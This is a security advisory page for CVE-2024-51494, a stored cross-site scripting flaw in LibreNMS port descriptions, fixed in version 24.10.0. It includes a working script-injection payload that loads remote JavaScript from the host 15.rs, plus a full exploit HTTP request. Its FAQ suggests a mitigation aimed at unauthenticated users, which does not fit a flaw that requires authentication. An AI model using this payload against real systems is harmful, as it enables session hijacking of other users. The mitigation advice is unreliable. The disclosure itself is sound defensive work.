CVE-2024-51494: LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.php
First published: Fri Nov 15 2024(Updated: )
### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Port Settings" page allows authenticated users to inject arbitrary JavaScript through the "descr" parameter when editing a device's port settings. This vulnerability can lead to the execution of malicious code when the "Port Settings" page is visited, potentially compromising the user's session and allowing unauthorized actions. ### Details When editing a device's port settings, an attacker can inject the following XSS payload into the "descr" parameter: ```lo'"><script/src=//15.rs>``` Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code. The payload triggers when the "Port Settings" page is visited, exploiting the `$port->ifAlias` variable in the application. The sink is located here: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/app/Http/Controllers/Table/EditPortsController.php#L82 ### PoC 1. Edit a device's port settings using the following payload in the "descr" parameter: ```lo'"><script/src=//15.rs>``` 2. Save the changes. 3. Navigate to the "Port Settings" page of the device. 4. Observe that the injected script executes. Example Request: ```http POST /ajax_form.php HTTP/1.1 Host: <your_host> Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-CSRF-TOKEN: <your_token> X-Requested-With: XMLHttpRequest Cookie: <your_cookie> type=update-ifalias&descr=lo'%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&ifName=lo&port_id=1&device_id=1 ``` ### Impact This vulnerability allows authenticated users to execute arbitrary JavaScript in the context of other users' sessions when they visit the "Port Settings" page of the device. This could lead to the compromise of user accounts and unauthorized actions performed on their behalf.
Credit: security-advisories@github.com security-advisories@github.com
| Affected Software | Affected Version | How to fix |
|---|---|---|
| composer/librenms/librenms | <=24.9.1 | 24.10.0 |
| LibreNMS | <24.10.0 |
Never miss a vulnerability like this again
Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.
Reference Links
Frequently Asked Questions
What is the severity of CVE-2024-51494?
CVE-2024-51494 has a medium severity rating due to its potential for exploitation via Stored Cross-Site Scripting.
How do I fix CVE-2024-51494?
To fix CVE-2024-51494, update LibreNMS to version 24.10.0 or later.
Who is affected by CVE-2024-51494?
CVE-2024-51494 affects users of LibreNMS versions up to and including 24.9.1.
What types of attacks can CVE-2024-51494 enable?
CVE-2024-51494 can enable attackers to execute arbitrary JavaScript in the context of authenticated users.
How can I mitigate CVE-2024-51494 while waiting for a fix?
Temporary mitigation for CVE-2024-51494 includes restricting access to the Port Settings page for unauthenticated users.
- agent/title
- agent/type
- agent/weakness
- agent/description
- agent/first-publish-date
- agent/event
- agent/references
- agent/author
- collector/mitre-cve
- source/MITRE
- agent/severity
- agent/remedy
- agent/softwarecombine
- collector/github-advisory
- source/GitHub
- alias/GHSA-7663-37rg-c377
- alias/CVE-2024-51494
- agent/software-canonical-lookup
- collector/github-advisory-latest
- agent/last-modified-date
- agent/trending
- agent/source
- agent/tags
- collector/nvd-api
- source/NVD
- agent/software-canonical-lookup-request
- collector/nvd-cve
- package-manager/composer
- vendor/librenms
- canonical/librenms